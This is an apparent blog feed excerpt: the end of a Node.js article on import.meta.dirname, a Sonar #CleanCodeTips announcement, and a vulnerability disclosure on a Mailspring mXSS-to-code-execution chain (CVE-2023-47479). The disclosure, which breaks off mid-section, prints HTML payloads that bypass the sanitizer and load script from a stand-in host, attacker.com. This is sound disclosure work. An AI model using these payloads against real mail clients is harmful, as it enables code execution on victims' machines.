import.meta.filename // The current module&apos;s file name&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;How did we get here?&lt;/h2&gt;&lt;p&gt;As I wrote at the beginning of the article, ES modules are a JavaScript standard. However, JavaScript started its life as a language that ran in web browsers. Node.js popularised running JavaScript on the server but had to use or invent a number of conventions. One early choice that the Node.js project made was to adopt the &lt;a href=&quot;https://nodejs.org/docs/latest/api/modules.html#modules-commonjs-modules&quot;&gt;CommonJS module system and everything that came with it&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ES modules were designed with both browser and server environments in mind. Browsers typically don&amp;#x27;t have file system access, so providing access to a current directory or file name doesn&amp;#x27;t make sense. However, browsers deal in URLs, and a file path can be provided in URL format using the &lt;a href=&quot;https://en.wikipedia.org/wiki/File_URI_scheme&quot;&gt;&lt;code&gt;file://&lt;/code&gt; scheme&lt;/a&gt;. So ES modules have a reference to the URL of the module. You&amp;#x27;ve seen that already above, as &lt;a href=&quot;https://nodejs.org/docs/latest/api/esm.html#importmetaurl&quot;&gt;&lt;code&gt;import.meta.url&lt;/code&gt;&lt;/a&gt;. Let&amp;#x27;s take a look at what you can do with a URL in Node.js.&lt;/p&gt;&lt;h3&gt;URLs everywhere&lt;/h3&gt;&lt;p&gt;Consider an ES module called &lt;em&gt;module.js&lt;/em&gt; with the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;console.log(import.meta.url);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you run this file on a server using Node.js, you will get the following result:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ node module.js
file:///path/to/module.js&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you load &lt;em&gt;module.js&lt;/em&gt; in a web browser, you will see:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;https://example.com/module.js&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Both results are URLs but have different schemes based on the context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To make things a little more confusing, &lt;code&gt;import.meta.url&lt;/code&gt; is a string that describes a URL rather than actually being a &lt;code&gt;URL&lt;/code&gt; object. You can turn it into a real &lt;code&gt;URL&lt;/code&gt; object by passing the string to the &lt;code&gt;URL&lt;/code&gt; constructor:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const fileUrl = new URL(import.meta.url);
console.log(url.protocol);

// Node.js: &quot;file:&quot;
// Browser: &quot;https:&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And this is where the original replacement for &lt;code&gt;__dirname&lt;/code&gt; and &lt;code&gt;__filename&lt;/code&gt; in Node.js came from. With a &lt;code&gt;URL&lt;/code&gt; object, you can use &lt;a href=&quot;https://nodejs.org/docs/latest/api/url.html#urlfileurltopathurl&quot;&gt;Node.js&amp;#x27;s URL module&lt;/a&gt; to turn the module&amp;#x27;s URL into a file path, recreating &lt;code&gt;__filename&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import * as url from &quot;url&quot;;

const fileUrl = new URL(import.meta.url);
const filePath = url.fileURLToPath(fileUrl);
console.log(filePath);

// /path/to/module.js&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can also manipulate the URL to get the directory name and recreate &lt;code&gt;__dirname&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import * as url from &quot;url&quot;;

const directoryUrl = new URL(&quot;.&quot;, import.meta.url);
const directoryPath = url.fileURLToPath(directoryUrl);
console.log(directoryPath);

// /path/to&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;You can use URLs instead of strings&lt;/h3&gt;&lt;p&gt;You may think you need to work with path strings to perform common file actions within Node.js. It turns out that many Node.js APIs that work on string paths also work with &lt;code&gt;URL&lt;/code&gt; objects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The most common use of &lt;code&gt;__dirname&lt;/code&gt; is traversing a directory to find a data file you want to load. For example, if your &lt;em&gt;module.js&lt;/em&gt; file is in the same directory as a file called &lt;em&gt;data.json&lt;/em&gt; and you want to load the data into your script, you would previously have used &lt;code&gt;__dirname&lt;/code&gt; like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const { join } = require(&quot;node:path&quot;);
const { readFile } = require(&quot;node:fs/promises&quot;);

function readData() {
  const filePath = join(__dirname, &quot;data.json&quot;);
  return readFile(filePath, { encoding: &quot;utf8&quot; });
} &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can now recreate this in an ES module using &lt;code&gt;import.meta.dirname&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { join } from &quot;node:path&quot;;
import { readFile } from &quot;node:fs/promises&quot;;

function readData() {
  const filePath = join(import.meta.dirname, &quot;data.json&quot;);
  return readFile(filePath, { encoding: &quot;utf8&quot; });
} &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But you can use a &lt;code&gt;URL&lt;/code&gt; object like this instead:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { readFile } from &quot;node:fs/promises&quot;;

function readData() {
  const fileUrl = new URL(&quot;data.json&quot;, import.meta.url);
  return readFile(fileUrl, { encoding: &quot;utf8&quot; });
} &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since ES modules bring consistency to JavaScript written for both client and server, using a &lt;code&gt;URL&lt;/code&gt; object over a path string can do the same. If you want to read about more use cases for URLs instead of paths, check out the article on &lt;a href=&quot;https://blog.logrocket.com/alternatives-dirname-node-js-es-modules/#what-is-your-goal&quot;&gt;alternatives to __dirname&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Where can you find import.meta.dirname?&lt;/h2&gt;&lt;p&gt;&lt;code&gt;import.meta.dirname&lt;/code&gt; and &lt;code&gt;import.meta.filename&lt;/code&gt; can be used in the latest versions of Node.js, Deno and Bun.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Bun had already implemented &lt;code&gt;import.meta.dir&lt;/code&gt; and &lt;code&gt;import.meta.path&lt;/code&gt;, which are equivalent. &lt;code&gt;dirname&lt;/code&gt; and &lt;code&gt;filename&lt;/code&gt; are now aliases of &lt;code&gt;dir&lt;/code&gt; and &lt;code&gt;path&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the properties only refer to the underlying file system, they are only available when the &lt;code&gt;import.meta.url&lt;/code&gt; scheme is &amp;quot;file:&amp;quot;. That is, they aren&amp;#x27;t available in a browser environment; trying to use &lt;code&gt;import.meta.dirname&lt;/code&gt; in a browser will simply return &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;A blend of simplicity and interoperability&lt;/h2&gt;&lt;p&gt;It&amp;#x27;s great that the Node.js community, Deno, and Bun have all decided to implement these properties. As codebases move and new projects are started using ES modules, reducing the friction to change is helpful to the entire ecosystem.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s also important to note what you can achieve using &lt;code&gt;import.meta.url&lt;/code&gt; in all JavaScript environments and consider whether using &lt;code&gt;URL&lt;/code&gt; objects can make your code more consistent across both front and back-end code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the very least, we can now remove some boilerplate code in favour of &lt;code&gt;import.meta.dirname&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[#CleanCodeTips: Unlock Your Coding Potential]]></title><description><![CDATA[As software development evolves, keeping up with best practices, the latest trends, and ensuring your code remains top-notch can feel like sailing uncharted waters. Sonar has the Clean Code tips for you!]]></description><link>https://www.sonarsource.com/blog/cleancodetips-unlock-your-coding-potential</link><guid isPermaLink="false">5d9b00dc-003f-547b-88ae-5d320121bbef</guid><dc:creator><![CDATA[Peter McKee]]></dc:creator><pubDate>Tue, 12 Mar 2024 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;The Current State of Code Quality &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;As software development evolves, keeping up with best practices, the latest trends, and ensuring your code remains top-notch can feel like sailing uncharted waters. Fear not, for that&amp;#x27;s where we come in with our latest initiative: &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;#CleanCodeTips &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;At Sonar we believe in the power of &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt; which means that your code can evolve and execute flawlessly, leading to software that is maintainable, reliable, and secure. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On behalf of the Developer Relations Team, I am thrilled to announce #CleanCodeTips, a dynamic program crafted by our Developer Advocates, Community Managers, and Product Developers! Our mission? To demystify the complexities of modern software development and offer you the tools, tips, and tricks to write code that is consistent, intentional, adaptable, and responsible. We’re here to provide practical, bite-size tips to help you integrate Clean Code practices into your everyday work.&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;What’s on the Menu?&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;#CleanCodeTips is not your run-of-the-mill program. We’re talking about a mix of content to cater to every learning style out there! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Weekly Tweets: Our infographics will not only educate but also inspire you to push your coding limits, spanning 30+ programming languages! &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Video Tutorials: Get up close and personal with code through our upcoming video demo series! From beginner basics to advanced techniques, our videos are designed to keep you on top of coding best practices. &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Blogs: Our Developer Advocates will take a deep dive into the announcements, updates, and hottest trends of the coding world! They will also highlight the most common pitfalls developers often face in their personal projects, using telemetry data from Sonar users.&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Ask Me Anything Sessions: Ever wanted to pick the brains of industry experts? Our Ask Me Anything (AMA) sessions with our developers will give you the chance to ask questions, seek advice, and gain insights from the best in the business!&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;strong&gt;Follow Sonar on Social Media! &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Following our organization on social media is like having a front-row seat to the future of software development. #CleanCodeTIps is your all-access pass to becoming a more innovative student, a better developer, or a more informed manager. We&amp;#x27;re not just teaching code; we&amp;#x27;re fostering a community of continuous learning and improvement.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/SonarSource&quot;&gt;Twitter/X&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCS5-gTYteN9rnFd98YxYtrA&quot;&gt;YouTube&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.tiktok.com/@sonarsource&quot;&gt;TikTok&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/company/sonarsource/&quot;&gt;LinkedIn&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;SonarResearch on Twitter/ X&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Meet the Sonar Developer Advocates! &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Peter McKee, Head of Developer Relations and Community&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Originally from Pittsburgh, PA but currently residing in Austin, TX, Peter built his career developing full-stack applications for over 25 years. He has held multiple roles but enjoys teaching and mentoring the most. Besides being Sonar’s Head of Developer Relations and Community, he is also the maintainer of the open-source project Ronin.js. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Follow Peter on &lt;a href=&quot;https://twitter.com/pmckee&quot;&gt;Twitter/X&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/pmckeetx/&quot;&gt;LinkedIn&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jonathan Vila, Java Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Jonathan is a Java Champion and joined Sonar in addition to working as a co-founder of JBCNConf and DevBcn conferences and organizing BarcelonaJUG in Barcelona.He has been working as a developer for the last 30 years using Go on Kubernetes | Java on Kubernetes and Web apps, as well as many others, such as Rest API, using Quarkus, GraalVM, Apache Camel, PHP, VB, Delphi, Python, etc.&lt;/p&gt;&lt;p&gt;When he is not focusing on Clean Code, he also enjoys other fields of interest like simulated reality and psychology. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Follow Jonathan on &lt;a href=&quot;https://twitter.com/vilojona&quot;&gt;Twitter/X&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/jonathanvila/&quot;&gt;LinkedIn&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Phillip Nash, JavaScript/TypeScript Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Phillip is a Google Developer Expert living in Melbourne, Australia. He loves working with JavaScript, TypeScript, or Ruby to build web applications and tools to help developers. He has too many GitHub repositories. When he is not giving his talks, Phil likes to listen to ska punk and hangs out with his miniature dachshund (also called Ruby). He also once helped build a website that captured the world&amp;#x27;s favourite sandwich fillings. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Follow Phillip on &lt;a href=&quot;https://twitter.com/philnash&quot;&gt;Twitter/X&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/philnash/&quot;&gt;LinkedIn&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nafiul Islam, Python Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Programming since 14, Nafiul has a decade of software experience. Adept in Python and exploring Rust, he authored &amp;quot;Mastering PyCharm&amp;quot; at 21. Nafiul has spoken at global Python conferences and held positions at JetBrains and Microsoft. In his free time, he loves reading fantasy novels. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Follow Nafiul on &lt;a href=&quot;https://twitter.com/gamesbrainiac&quot;&gt;Twitter/X&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/quazi-nafiul-islam-121203130/&quot;&gt;LinkedIn&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ben Dechrai, Cloud Native Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ben is a software developer with a wealth of experience ranging from small MVP projects to large-scale enterprise deployments. Passionate about working closely with developer and open-source communities, he has been coding since the age of 7 and enjoys helping developers find the joy of experimentation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt; Follow Ben on &lt;a href=&quot;https://twitter.com/bendechrai&quot;&gt;Twitter/X&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/bendechrai/&quot;&gt;LinkedIn&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And we’re just getting started! You’ll see more members of the Sonar team join us as we move forward. Lastly - don’t hesitate to add YOUR Clean Code tips to the discussion. Just add the hashtag #CleanCodeTips to join us. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Why Clean Code? &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;The core of software is its code. Keeping code clean will ensure that you get the most value out of your software and the right clean code tool can help you get there.&lt;br/&gt;&lt;br/&gt;Our Clean Code solution - &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;- currently supports 7 million developers to write code that is consistent, intentional, responsible, and adaptable!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Reply to calc: The Attack Chain to Compromise Mailspring]]></title><description><![CDATA[Learn how an attacker can combine multiple security vulnerabilities to achieve arbitrary code execution on a victim that tries to reply or forward a malicious mail in Mailspring.]]></description><link>https://www.sonarsource.com/blog/reply-to-calc-the-attack-chain-to-compromise-mailspring</link><guid isPermaLink="false">e664c249-875f-5dd9-b453-7f6340bf19f2</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 11 Mar 2024 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mailspring, formerly known as &lt;a href=&quot;https://github.com/nylas/nylas-mail&quot;&gt;nylas-mail&lt;/a&gt;, is a popular email client application that gives users a fast and efficient way to manage their email accounts. It is a free and open-source program for Windows, Mac, and Linux operating systems. Mailspring comes with a variety of advanced features, such as snoozing emails, scheduling messages, email tracking, and more. It also supports a wide range of email services, including Gmail, Yahoo, Outlook, and more. With its user-friendly interface and powerful functionality, Mailspring has become a popular choice for those looking for a reliable and versatile email client.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Continuing our effort to improve open-source security and enhance our Clean Code technology, we decided to research and evaluate the security of the Mailspring desktop application. Considering its popularity, security issues in the application have a high impact potential. In this blog, we will present our research and findings. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Mailspring versions before 1.11.0 are susceptible to several vulnerabilities, enabling an attacker to execute arbitrary code when a victim tries to &lt;em&gt;reply to&lt;/em&gt; or &lt;em&gt;forward&lt;/em&gt; a malicious email.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/rbeHR2Tq3dM&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Mailspring version 1.11.0 employs mitigations to prevent exploitation. However, the underlying vulnerability has not been fixed as of today.&lt;/p&gt;&lt;h2&gt;Technical Details - CVE-2023-47479 &lt;/h2&gt;&lt;p&gt;In the following section, we will explain the technical details of the vulnerabilities, which are tracked as CVE-2023-47479. We will describe how an attacker can bypass some mitigations to ultimately achieve code execution when a user replies to or forwards a malicious email. &lt;/p&gt;&lt;h2&gt;mXSS Background&lt;/h2&gt;&lt;p&gt;Mutation Cross-Site Scripting (mXSS) is a sophisticated variation of the well-known Cross-Site Scripting (XSS) vulnerability. When an application needs to safely render the user’s input as HTML, to support some HTML features, sanitization would be the solution. Allowing specific tags and attributes while stripping or encoding others. Unfortunately, this is not a straightforward task since HTML is a syntax-tolerant language that may change or “mutate” when parsing. mXSS takes advantage of that by providing a payload that seems innocent initially when parsing (during the sanitization process) but mutates it to a malicious one when re-parsing it (in the final stage of displaying the content).&lt;/p&gt;&lt;h3&gt;mXSS in the Email Renderer&lt;/h3&gt;&lt;p&gt;Before rendering and showing an email to the user, Mailspring sanitizes the content with a &lt;a href=&quot;https://github.com/Foundry376/Mailspring/blob/a3aecf628a77d51badaa7a8860acffab0f1afcb3/app/src/services/sanitize-transformer.ts#L527&quot;&gt;built-in sanitizer&lt;/a&gt;. The sanitizer uses &lt;code&gt;DOMParser&lt;/code&gt; and, according to a predefined list, will accept, remove, or replace tags and content. Problems occur when the sanitizer changes a disallowed tag after the parsing is done, causing the resulting content to be parsed differently.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, we will use the following email content:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0b99ad14-05c4-4081-9e69-a98306f0f4bc/image11.png&quot; /&gt;&lt;p&gt;Parsing the given string to a DOM tree will result in an &lt;code&gt;a&lt;/code&gt; tag inside the &lt;code&gt;style&lt;/code&gt; as expected within “&lt;a href=&quot;https://html.spec.whatwg.org/#parsing-main-inforeign&quot;&gt;foreign content&lt;/a&gt;”, this is because &lt;code&gt;style&lt;/code&gt; is handled differently in &lt;a href=&quot;https://infra.spec.whatwg.org/#svg-namespace&quot;&gt;SVG&lt;/a&gt;/&lt;a href=&quot;https://infra.spec.whatwg.org/#mathml-namespace&quot;&gt;MathML&lt;/a&gt; namespaces:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7b231ce9-49b3-44e3-8505-d8a949c20795/image9.png&quot; /&gt;&lt;p&gt;Mailspring doesn’t allow &lt;code&gt;svg&lt;/code&gt; tags and will &lt;a href=&quot;https://github.com/Foundry376/Mailspring/blob/a3aecf628a77d51badaa7a8860acffab0f1afcb3/app/src/services/sanitize-transformer.ts#L478&quot;&gt;replace&lt;/a&gt; them with &lt;code&gt;span&lt;/code&gt; tags during the sanitization. We covered the risk of “Desanitization” (the act of changing and interfering with the sanitizer’s output) in previous blogs where we encountered other vulnerabilities that follow this dangerous behavior: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Pitfalls of Desanitization: Leaking Customer Data from osTicket&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Put Proton Mails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;Code Vulnerabilities Put Skiff Emails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;And more&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because Mailspring continues iterating over the manipulated sanitizer’s output using the same parsed DOM tree, it would still seem as if there were a foreign content tag (&lt;code&gt;svg&lt;/code&gt; and not &lt;code&gt;span&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/40dad30b-0f11-4462-987d-20bf25d5b777/image10.png&quot; /&gt;&lt;p&gt;This is why the sanitizer can’t see the malicious tag, but later, when embedding the result in the page, the &lt;code&gt;style&lt;/code&gt; tag won&amp;#x27;t be inside a “&lt;a href=&quot;https://html.spec.whatwg.org/#parsing-main-inforeign&quot;&gt;foreign content&lt;/a&gt;” and thus closes where the &lt;code&gt;title&lt;/code&gt; attribute used to be:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cea3ce10-58d3-4939-bf47-4edd45b007f7/image5.png&quot; /&gt;&lt;p&gt;We can see our injected tag in the rendered content. But it is inside a sandboxed iframe, stopping it from executing any JavaScript code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/672f1c55-d035-4240-a4df-0d7d8f15ed6b/image15.png&quot; /&gt;&lt;h3&gt;Bypassing the mitigations&lt;/h3&gt;&lt;h4&gt;Sandboxed Iframe&lt;/h4&gt;&lt;p&gt;There is not much an attacker can do inside a sandboxed iframe, but we noticed that when a user replies to or forwards an email, the content of it will be rendered again outside of the sandboxed iframe.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/84b30d05-f723-450c-bbb3-a8a91756fb5c/image14.png&quot; /&gt;&lt;p&gt;However, the injected JavaScript code will still not run because of a Content Security Policy in the main window:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/42f93e67-032e-4eaa-b829-42c398dd3103/image12.png&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0019bb4e-1a1a-41db-90b1-cb0515d7a8b2/image13.png&quot; /&gt;&lt;h4&gt;Content Security Policy Bypass &lt;/h4&gt;&lt;p&gt;When evaluating this policy, we noticed that there is a misconfiguration:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src * mailspring:; script-src &apos;self&apos; chrome-extension://react-developer-tools; style-src * &apos;unsafe-inline&apos; mailspring:; img-src * data: mailspring: file:;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because &lt;code&gt;default-src&lt;/code&gt; is set to &lt;code&gt;*&lt;/code&gt; and there&amp;#x27;s no &lt;code&gt;object-src&lt;/code&gt; override, an attacker can execute code with an &lt;code&gt;object&lt;/code&gt; tag. This is limited to JavaScript files served via the &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;https&lt;/code&gt;, &lt;code&gt;ws&lt;/code&gt;, and &lt;code&gt;wss&lt;/code&gt; protocols by default.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to that, &lt;code&gt;script-src &amp;#x27;self&amp;#x27;&lt;/code&gt; allows using a &lt;code&gt;script&lt;/code&gt; tag with a local file as a &lt;code&gt;src&lt;/code&gt; to execute JavaScript code. This works because Electron, the underlying technology behind Mailspring,  serves the UI via the &lt;code&gt;file://&lt;/code&gt; protocol. To abuse this, an attacker must control a file on the victim’s computer and point to it via a script’s &lt;code&gt;src&lt;/code&gt; attribute.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, when sending a new payload that uses a malicious &lt;code&gt;object&lt;/code&gt; tag to bypass the CSP, replying to/forwarding it, would mysteriously remove our tag. This did not happen for the initial payload with the &lt;code&gt;img&lt;/code&gt; tag, so what is going on here?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;svg&gt;&lt;style&gt;&lt;a title=&quot;&lt;/style&gt;&lt;object data=&apos;https://attacker.com/payload&apos;&gt;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Email body:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1b51107f-0e82-4f21-92bb-35aed76e3229/image2.png&quot; /&gt;&lt;p&gt;Reply-to/forward content:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/970ff562-8168-4d6b-9e60-e4a9824d46f6/image4.png&quot; /&gt;&lt;p&gt;There must be another sanitization when replying to or forwarding an email.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7016e464-8cf0-4f7f-9212-efc3b019e8df/image1.png&quot; /&gt;&lt;h4&gt;reply-to/forward sanitization bypass&lt;/h4&gt;&lt;p&gt;Drilling down to the component that handles the reply/forward window, we came across &lt;a href=&quot;https://github.com/Foundry376/Mailspring/blob/1.10.8/app/src/decorators/inflates-draft-client-id.tsx#L77&quot;&gt;inflates-draft-client-id.jsx&lt;/a&gt;. The &lt;code&gt;draft&lt;/code&gt; content still contains our &lt;code&gt;object&lt;/code&gt; tag at this point but will later be removed, so this content is before the 2nd sanitization. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5b703a97-efe0-4cc4-be80-6a58a9ca3b63/image8.png&quot; /&gt;&lt;p&gt;Looking at this HTML draft snippet, we understand that Mailspring adds content to the window, such as the user’s mail signature, custom CSS, timestamp, etc. The &lt;code&gt;signature&lt;/code&gt; tag at the start of the draft caught our attention. Since it&amp;#x27;s a custom tag and appended before the replied/forwarded malicious email content, maybe the sanitization there is different? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Indeed, embedding the malicious input in a &lt;code&gt;signature&lt;/code&gt; tag avoided the 2nd sanitization. As a result, this payload allows the execution of arbitrary JavaScript code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;svg&gt;&lt;style&gt;&lt;a title=&quot;&lt;/style&gt;&lt;signature&gt;&lt;object data=&apos;https://attacker.com/payload&apos;&gt;&lt;/object&gt;&lt;/signature&gt;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/45ab3e6e-a910-4576-8c6e-82c3b986d96d/image7.png&quot; /&gt;&lt;h3&gt;From XSS to RCE&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/Foundry376/Mailspring/blob/3be72eee5c10a43f6fb9924ab1e9a33bb0f5216e/app/src/browser/mailspring-window.ts#L100&quot;&gt;main&lt;/a&gt; window of Mailspring uses &lt;code&gt;nodeIntegration: true&lt;/code&gt; and &lt;code&gt;contextIsolation: false&lt;/code&gt;, meaning 